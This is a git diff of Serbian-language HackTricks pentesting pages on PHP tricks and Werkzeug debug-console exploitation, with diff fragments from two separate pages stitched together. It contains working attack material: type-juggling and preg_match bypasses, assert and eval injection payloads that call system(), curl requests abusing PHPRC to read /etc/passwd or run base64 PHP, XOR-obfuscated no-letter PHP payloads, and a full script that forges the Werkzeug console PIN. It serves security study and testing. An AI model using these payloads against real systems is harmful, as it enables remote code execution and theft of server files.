* `"0X3264578" == 0X --> True` String koji počinje sa "0" i za kojim sledi bilo koje slovo (X može biti bilo koje slovo) i za kojim sledi bilo šta će biti jednak 0
|
||||
* `"0e12334" == "0" --> True` Ovo je veoma interesantno jer u nekim slučajevima možete kontrolisati string unos od "0" i neki sadržaj koji se hešira i uporedjuje sa njim. Stoga, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez bilo kog slova, možete zaobići poredjenje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
* `"X" == 0 --> True` Bilo koje slovo u stringu je jednako int 0
|
||||
|
||||
Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||
|
||||
### **in\_array()**
|
||||
|
||||
**Tip konverzije** takođe utiče na funkciju `in_array()` po defaultu (treba postaviti na true treći argument da bi se napravilo strogo poredjenje):
|
||||
**Tip Juggling** takođe utiče na funkciju `in_array()` po defaultu (treba postaviti na true treći argument da bi se napravilo strogo poredjenje):
|
||||
```php
|
||||
$values = array("apple","orange","pear","grape");
|
||||
var_dump(in_array(0, $values));
|
||||
|
@ -74,9 +74,9 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
|||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
```
|
||||
### Strogo tipovanje
|
||||
### Stroga vrsta prebacivanja
|
||||
|
||||
Čak i ako se koristi `===`, mogu se pojaviti greške koje čine poređenje ranjivim na tipovanje. Na primer, ako se poređenje vrši konvertovanjem podataka u drugi tip objekta pre poređenja:
|
||||
Čak i ako se koristi `===`, mogu se pojaviti greške koje čine poređenje ranjivim na vrstu prebacivanja. Na primer, ako poređenje konvertuje podatke u drugačiji tip objekta pre poređenja:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
|
@ -110,20 +110,20 @@ Pronađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://r
|
|||
#### **Bajpasovanje greške dužine**
|
||||
|
||||
(Ovaj bajpas je navodno pokušan na PHP 5.2.5 i nisam uspeo da ga pokrenem na PHP 7.3.15)\
|
||||
Ako možete poslati `preg_match()` validan veoma **veliki unos**, on **neće moći da ga obradi** i moći ćete da **bajpasujete** proveru. Na primer, ako je na crnoj listi JSON, možete poslati:
|
||||
Ako možete poslati `preg_match()` validan **veoma veliki unos**, on **neće moći da ga obradi** i moći ćete da **bajpasujete** proveru. Na primer, ako je na crnoj listi JSON, možete poslati:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
#### Bajpasovanje ReDoS-a
|
||||
#### ReDoS Bypass
|
||||
|
||||
Trik sa: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
||||
Trik sa: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) i [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ukratko, problem se javlja jer funkcije `preg_*` u PHP-u se oslanjaju na [PCRE biblioteku](http://www.pcre.org/). U PCRE-u određeni regularni izrazi se podudaraju korišćenjem velikog broja rekurzivnih poziva, što troši puno prostora na steku. Moguće je postaviti ograničenje na broj dozvoljenih rekurzija, ali u PHP-u to ograničenje [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
|
||||
Ukratko, problem se javlja jer funkcije `preg_*` u PHP-u se oslanjaju na [PCRE biblioteku](http://www.pcre.org/). U PCRE određeni regularni izrazi se podudaraju korišćenjem velikog broja rekurzivnih poziva, što troši puno prostora na steku. Moguće je postaviti ograničenje na broj dozvoljenih rekurzija, ali u PHP-u to ograničenje [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek.
|
||||
|
||||
[U ovom Stackoverflow thread-u](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) takođe je povezan u postu gde se detaljnije govori o ovom problemu. Naš zadatak je sada bio jasan:\
|
||||
**Poslati unos koji će naterati regex da uradi 100\_000+ rekurzija, izazivajući SIGSEGV, čineći da funkcija `preg_match()` vrati `false`, čime aplikacija misli da naš unos nije zlonameran, bacajući iznenađenje na kraju payload-a nešto poput `{system(<veomazla naredba>)}` da bismo dobili SSTI --> RCE --> zastavica :)**.
|
||||
**Poslati unos koji će naterati regex da izvrši 100\_000+ rekurzija, izazivajući SIGSEGV, čineći da funkcija `preg_match()` vrati `false`, čime aplikacija misli da naš unos nije zlonameran, bacajući iznenađenje na kraju payload-a nešto poput `{system(<veomazla naredba>)}` da bismo dobili SSTI --> RCE --> zastavica :)**.
|
||||
|
||||
Pa, u regex terminima, zapravo ne radimo 100k "rekurzija", već brojimo "korake povratka", što kao što [PHP dokumentacija](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) navodi podrazumevano iznosi 1\_000\_000 (1M) u promenljivoj `pcre.backtrack_limit`.\
|
||||
Da bismo to postigli, `'X'*500_001` će rezultirati sa 1 milion koraka povratka (500k unapred i 500k unazad):
|
||||
|
@ -141,7 +141,7 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
|
|||
$obfs .= ""; //string "7"
|
||||
$obfs += ""; //int 7
|
||||
```
|
||||
## Izvrši Nakon Preusmeravanja (EAR)
|
||||
## Izvrši nakon preusmeravanja (EAR)
|
||||
|
||||
Ako PHP preusmerava na drugu stranicu, ali nijedna funkcija **`die`** ili **`exit`** nije **pozvana nakon postavljanja zaglavlja `Location`**, PHP nastavlja izvršavanje i dodaje podatke u telo:
|
||||
```php
|
||||
|
@ -163,16 +163,15 @@ Proverite:
|
|||
|
||||
## Više trikova
|
||||
|
||||
* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisan, **register\_globals** može biti aktivan (ili se njihovo ponašanje oponaša). To implicira da u globalnim promenljivima poput $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete pristupiti tome putem **$param**. Stoga, slanjem HTTP parametara možete **prepisati promenljive** koje se koriste unutar koda.
|
||||
* **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako se unutar domene **koriste različiti kolačići u različitim putanjama** možete omogućiti da putanja **pristupi kolačiću putanje** postavljajući vrednost kolačića druge putanje.\
|
||||
Na ovaj način, ako **obe putanje pristupaju promenljivoj istog imena** možete **primeniti vrednost te promenljive u putanji1 na putanju2**. Tada će putanja2 smatrati važećim promenljive putanje1 (dajući kolačiću ime koje odgovara putanji2).
|
||||
* Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<USERNAME>** da biste videli da li su PHP direktorijumi aktivirani.
|
||||
* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisan, **register\_globals** može biti aktivan (ili se njihovo ponašanje oponaša). To implicira da u globalnim promenljivima poput $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete pristupiti tome putem **$param**. Stoga, slanjem HTTP parametara možete prebrisati promenljive koje se koriste unutar koda.
|
||||
* **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako se unutar domene **koriste različiti kolačići u različitim putanjama** možete napraviti da jedna putanja **pristupi kolačiću putanje** postavljajući vrednost kolačića druge putanje. Na ovaj način, ako **obe putanje pristupaju promenljivoj istog imena** možete napraviti da **vrednost te promenljive u putanji 1 važi za putanju 2**. Zatim će putanja 2 smatrati važećim promenljive putanje 1 (dajući kolačiću ime koje odgovara putanji 2).
|
||||
* Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\<KORISNIČKO IME>** da biste videli da li su PHP direktorijumi aktivirani.
|
||||
* [**LFI i RCE korišćenjem php omotača**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
||||
Ove funkcije se obično koriste u PHP-u za **generisanje heševa iz lozinki** i za **proveru** da li je lozinka ispravna u poređenju sa hešom.\
|
||||
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT**. Trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine unosa od 72 bajta**. Stoga, kada pokušate da hešujete nešto veće od 72 bajta ovim algoritmom, koristiće se samo prvih 72B:
|
||||
Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** Trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72 bajta**. Stoga, kada pokušate da hešujete nešto veće od 72 bajta ovim algoritmom, koristiće se samo prvih 72B:
|
||||
```php
|
||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||
False
|
||||
|
@ -183,7 +182,7 @@ True
|
|||
### Zaobilaženje HTTP zaglavlja zloupotrebom PHP grešaka
|
||||
|
||||
Ako **PHP stranica ispisuje greške i vraća neke korisnički unete podatke**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša **dodati zaglavlja** u odgovor, server će baciti grešku.\
|
||||
U sledećem scenariju **napadač je naterao server da baci neke velike greške**, i kao što možete videti na ekranu kada je php pokušao **modifikovati informacije zaglavlja, nije mogao** (tako da na primer CSP zaglavlje nije poslato korisniku):
|
||||
U sledećem scenariju, **napadač je naterao server da baci neke velike greške**, i kao što možete videti na ekranu kada je php pokušao **modifikovati informacije zaglavlja, nije mogao** (tako da na primer CSP zaglavlje nije poslato korisniku):
|
||||
|
||||
![](<../../../.gitbook/assets/image (1082).png>)
|
||||
|
||||
|
@ -200,7 +199,7 @@ U sledećem scenariju **napadač je naterao server da baci neke velike greške**
|
|||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
Da bi se izvršio kod u "replace" argumentu, potrebno je imati barem jedno poklapanje.\
|
||||
Da bi se izvršio kod u "replace" argumentu potrebno je imati barem jedno poklapanje.
|
||||
Ova opcija preg\_replace funkcije je **zastarela od PHP 5.5.0.**
|
||||
|
||||
### **RCE putem Eval()**
|
||||
|
@ -213,7 +212,7 @@ Ova opcija preg\_replace funkcije je **zastarela od PHP 5.5.0.**
|
|||
```
|
||||
### **RCE putem Assert()**
|
||||
|
||||
Ova funkcija unutar php-a vam omogućava da **izvršite kod koji je napisan u stringu** kako biste **vratili tačno ili netačno** (i u zavisnosti od toga promenili izvršenje). Obično će korisnička promenljiva biti ubačena usred stringa. Na primer:\
|
||||
Ova funkcija unutar php-a vam omogućava da **izvršite kod koji je napisan u stringu** kako biste **vratili tačno ili netačno** (i u zavisnosti od toga promenili izvršenje). Obično će korisnička promenljiva biti ubačena u sredinu stringa. Na primer:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> U ovom slučaju da biste dobili **RCE** možete uraditi:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
|
@ -257,24 +256,24 @@ Da biste otkrili broj zagrada koje treba zatvoriti:
|
|||
|
||||
### **RCE putem .httaccess**
|
||||
|
||||
Ako možete **učitati** **.htaccess**, možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući te datoteke sa ekstenzijom .htaccess da se mogu **izvršiti**).
|
||||
Ako možete **učitati** **.htaccess**, možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući da se fajlovi sa ekstenzijom .htaccess mogu **izvršiti**).
|
||||
|
||||
Različite .htaccess ljuske mogu se pronaći [ovde](https://github.com/wireghoul/htshells)
|
||||
|
||||
### RCE putem Env promenljivih
|
||||
|
||||
Ako pronađete ranjivost koja vam omogućava da **izmenite env promenljive u PHP-u** (i još jednu za učitavanje datoteka, mada uz više istraživanja možda se to može zaobići), možete iskoristiti ovu ponašanje da biste dobili **RCE**.
|
||||
Ako pronađete ranjivost koja vam omogućava da **izmenite env promenljive u PHP-u** (i još jednu za učitavanje fajlova, mada uz više istraživanja možda se to može zaobići), možete iskoristiti ovu osobinu da biste dobili **RCE**.
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ova env promenljiva omogućava vam da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (mada u ovom slučaju možda neće raditi).
|
||||
* **`PHPRC`** : Naređuje PHP-u **gde da locira svoju konfiguracionu datoteku**, obično nazvanu `php.ini`. Ako možete učitati svoju konfiguracionu datoteku, onda koristite `PHPRC` da je usmerite na PHP. Dodajte unos **`auto_prepend_file`** koji navodi drugu učitanu datoteku. Ta druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
|
||||
1. Učitajte PHP datoteku koja sadrži naš shell kod
|
||||
2. Učitajte drugu datoteku koja sadrži direktivu **`auto_prepend_file`** koja naređuje PHP preprocesoru da izvrši datoteku koju smo učitali u koraku 1
|
||||
3. Postavite promenljivu `PHPRC` na datoteku koju smo učitali u koraku 2.
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ova env promenljiva vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih fajlova (mada u ovom slučaju možda neće raditi).
|
||||
* **`PHPRC`** : Naređuje PHP-u **gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete učitati svoj konfiguracioni fajl, onda koristite `PHPRC` da ga usmerite na PHP. Dodajte unos **`auto_prepend_file`** koji navodi drugi učitani fajl. Taj drugi fajl sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda.
|
||||
1. Učitajte PHP fajl koji sadrži naš shell kod
|
||||
2. Učitajte drugi fajl koji sadrži direktivu **`auto_prepend_file`** koja naređuje PHP preprocesoru da izvrši fajl koji smo učitali u koraku 1
|
||||
3. Postavite promenljivu `PHPRC` na fajl koji smo učitali u koraku 2.
|
||||
* Dobijte više informacija o tome kako izvršiti ovaj lanac [**iz originalnog izveštaja**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
||||
* **PHPRC** - još jedna opcija
|
||||
* Ako **ne možete učitati datoteke**, možete koristiti u FreeBSD-u "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, budeći **telo** zahteva poslatog na `stdin`:
|
||||
* Ako ne možete da učitate fajlove, u FreeBSD-u možete koristiti "fajl" `/dev/fd/0` koji sadrži **`stdin`**, tj. **telo** zahteva poslatog na `stdin`:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* Ili da biste dobili RCE, omogućite **`allow_url_include`** i dodajte datoteku sa **base64 PHP kodom**:
|
||||
* Ili da biste dobili RCE, omogućite **`allow_url_include`** i dodajte fajl sa **base64 PHP kodom**:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* Tehnika [**iz ovog izveštaja**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
||||
|
||||
|
@ -286,11 +285,11 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
Ako debagujete PHP aplikaciju, možete globalno omogućiti ispis grešaka u `/etc/php5/apache2/php.ini` dodavanjem `display_errors = On` i restartovati apache: `sudo systemctl restart apache2`
|
||||
Ako debagujete PHP aplikaciju, možete globalno omogućiti ispisivanje grešaka u `/etc/php5/apache2/php.ini` dodavanjem `display_errors = On` i restartovati apache komandom: `sudo systemctl restart apache2`
|
||||
|
||||
### Dekodiranje PHP koda
|
||||
|
||||
Možete koristiti **web** [**www.unphp.net**](http://www.unphp.net) **za dekodiranje PHP koda.**
|
||||
Možete koristiti **veb** [**www.unphp.net**](http://www.unphp.net) **za dekodiranje PHP koda.**
|
||||
|
||||
## PHP omotači i protokoli
|
||||
|
||||
|
@ -298,7 +297,7 @@ PHP omotači i protokoli mogu vam omogućiti da **zaobiđete zaštitu od pisanja
|
|||
|
||||
## Xdebug neautentifikovani RCE
|
||||
|
||||
Ako primetite da je **Xdebug** **omogućen** u izlazu `phpconfig()`, trebalo bi da pokušate da dobijete RCE putem [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
Ako primetite da je **Xdebug** **omogućen** u izlazu `phpconfig()`, trebalo bi da pokušate da dobijete RCE preko [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
|
||||
|
||||
## Promenljive promenljivih
|
||||
```php
|
||||
|
@ -330,7 +329,7 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
|
|||
```
|
||||
### **XOR**
|
||||
|
||||
XOR (ekskluzivno ILI) je binarni operator koji se koristi za izvođenje ekskluzivne disjunkcije nad bitovima. U PHP-u se XOR operator označava kao `^`. XOR operacija vraća istinitu vrijednost samo kada su ulazni bitovi različiti.
|
||||
XOR (ekskluzivno ILI) je binarni operator koji se koristi za izvođenje ekskluzivne disjunkcije nad bitovima.
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
|
@ -346,7 +345,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev koristeći sledeći payload za izvršavanje proizvoljnog PHP-a:
|
||||
Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg zloupotrebljavajući taj payload da biste izvršili proizvoljni PHP:
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -413,7 +412,7 @@ $____.=$__;
|
|||
$_=$$____;
|
||||
$___($_[_]); // ASSERT($_POST[_]);
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -423,7 +422,7 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Trenutno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata & funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -28,13 +28,13 @@ __import__('os').popen('whoami').read();
|
|||
```
|
||||
![](<../../.gitbook/assets/image (114).png>)
|
||||
|
||||
Takođe postoje različiti eksploiti na internetu poput [ovog](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedan u metasploit-u.
|
||||
Postoje i nekoliko eksploatacija na internetu poput [ove](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedna u metasploit-u.
|
||||
|
||||
## Pin zaštićen - Traversiranje putanje
|
||||
## Pin zaštićen - Prolazak kroz putanju
|
||||
|
||||
U nekim prilikama **`/console`** endpoint će biti zaštićen pinom. Ako imate **ranjivost traverziranja datoteka**, možete procuriti sve potrebne informacije za generisanje tog pina.
|
||||
U nekim prilikama, **`/console`** endpoint će biti zaštićen pinom. Ako imate **ranjivost prolaska kroz datoteke**, možete procuriti sve potrebne informacije za generisanje tog pina.
|
||||
|
||||
### Eksploatacija Werkzeug konzole PIN-a
|
||||
### Eksploatacija Werkzeug konzole za PIN
|
||||
|
||||
Prisilite grešku u debagiranju aplikacije da biste videli ovo:
|
||||
```
|
||||
|
@ -42,7 +42,7 @@ The console is locked and needs to be unlocked by entering the PIN.
|
|||
You can find the PIN printed out on the standard output of your
|
||||
shell that runs the server
|
||||
```
|
||||
Poruka u vezi sa scenarijem "zaključane konzole" se susreće prilikom pokušaja pristupa Werkzeug-ovom debug interfejsu, ukazujući na potrebu za PIN-om kako bi se otključala konzola. Predlog je da se iskoristi PIN konzole analiziranjem algoritma generisanja PIN-a u Werkzeug-ovom debug inicijalizacijskom fajlu (`__init__.py`). Mekanizam generisanja PIN-a može se proučiti iz [**Werkzeug izvornog koda na repozitorijumu**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se preporučuje da se stvarni serverski kod nabavi putem ranjivosti prolaska kroz fajlove zbog potencijalnih razlika u verzijama.
|
||||
Poruka u vezi sa scenarijem "zaključane konzole" se susreće prilikom pokušaja pristupa Werkzeug-ovom debug interfejsu, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlog je da se iskoristi PIN konzole analiziranjem algoritma generisanja PIN-a u Werkzeug-ovom debug inicijalizacijskom fajlu (`__init__.py`). Mekanizam generisanja PIN-a može se proučiti iz [**Werkzeug izvornog koda repozitorijuma**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se preporučuje da se stvarni serverski kod nabavi putem ranjivosti prolaska kroz fajlove zbog potencijalnih razlika u verzijama.
|
||||
|
||||
Za iskorišćavanje PIN-a konzole, potrebna su dva skupa promenljivih, `probably_public_bits` i `private_bits`:
|
||||
|
||||
|
@ -56,15 +56,15 @@ Za iskorišćavanje PIN-a konzole, potrebna su dva skupa promenljivih, `probably
|
|||
#### **`private_bits`**
|
||||
|
||||
* **`uuid.getnode()`**: Dohvata MAC adresu trenutne mašine, sa `str(uuid.getnode())` prevodi je u decimalni format.
|
||||
* Da biste **odredili MAC adresu servera**, morate identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr. `ens3`). U slučajevima neizvesnosti, **procuretajte `/proc/net/arp`** kako biste pronašli ID uređaja, zatim **izvucite MAC adresu** iz **`/sys/class/net/<device id>/address`**.
|
||||
* Konverziju heksadecimalne MAC adrese u decimalni format možete izvršiti na sledeći način:
|
||||
* Da biste **odredili MAC adresu servera**, morate identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr. `ens3`). U slučaju neizvesnosti, **procuretajte `/proc/net/arp`** da biste pronašli ID uređaja, zatim **izdvojite MAC adresu** iz **`/sys/class/net/<device id>/address`**.
|
||||
* Konverzija heksadecimalne MAC adrese u decimalni format može se izvršiti kako je prikazano ispod:
|
||||
|
||||
```python
|
||||
# Primer MAC adrese: 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
* **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom `/proc/self/cgroup` nakon poslednje kose crte (`/`).
|
||||
* **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom `/proc/self/cgroup` nakon poslednje kosine (`/`).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -108,7 +108,7 @@ try:
|
|||
```
|
||||
</details>
|
||||
|
||||
Nakon prikupljanja svih potrebnih podataka, eksploatacijski skript može biti izvršen kako bi generisao Werkzeug konzolni PIN. Skript koristi sastavljene `probably_public_bits` i `private_bits` kako bi kreirao heš, koji zatim prolazi kroz dodatnu obradu kako bi se generisao konačni PIN. U nastavku je Python kod za izvršavanje ovog procesa:
|
||||
Nakon prikupljanja svih potrebnih podataka, eksploatacioni skript može biti izvršen kako bi generisao Werkzeug konzolni PIN. Skript koristi sastavljene `probably_public_bits` i `private_bits` kako bi kreirao heš, koji zatim prolazi kroz dodatnu obradu kako bi se generisao konačni PIN. U nastavku je Python kod za izvršavanje ovog procesa:
|
||||
```python
|
||||
import hashlib
|
||||
from itertools import chain
|
||||
|
@ -154,20 +154,28 @@ rv = num
|
|||
|
||||
print(rv)
|
||||
```
|
||||
Ovaj skript generiše PIN tako što hešira konkatenirane bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da stvarne vrednosti za `probably_public_bits` i `private_bits` treba tačno dobiti sa ciljnog sistema kako bi generisani PIN odgovarao očekivanom od strane Werkzeug konzole.
|
||||
Ovaj skript generiše PIN tako što hešira konkatenirane bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da stvarne vrednosti za `probably_public_bits` i `private_bits` treba tačno dobiti sa ciljnog sistema kako bi se osiguralo da generisani PIN odgovara očekivanom od strane Werkzeug konzole.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ako koristite **staru verziju** Werkzuga, pokušajte promeniti **algoritam heširanja u md5** umesto sha1.
|
||||
{% endhint %}
|
||||
|
||||
## Werkzeug Unicode karakteri
|
||||
|
||||
Kako je primećeno u [**ovom problemu**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug ne zatvara zahtev sa Unicode karakterima u zaglavljima. Kako je objašnjeno u [**ovom objašnjenju**](https://mizu.re/post/twisty-python), to može izazvati ranjivost na CL.0 Request Smuggling.
|
||||
|
||||
Ovo je zato što je u Werkzeugu moguće poslati neke **Unicode** karaktere i to će naterati server da **prekine**. Međutim, ako je HTTP veza kreirana sa zaglavljem **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će se **telo** zahteva tretirati kao **naredni HTTP zahtev**.
|
||||
|
||||
## Reference
|
||||
|
||||
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||||
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
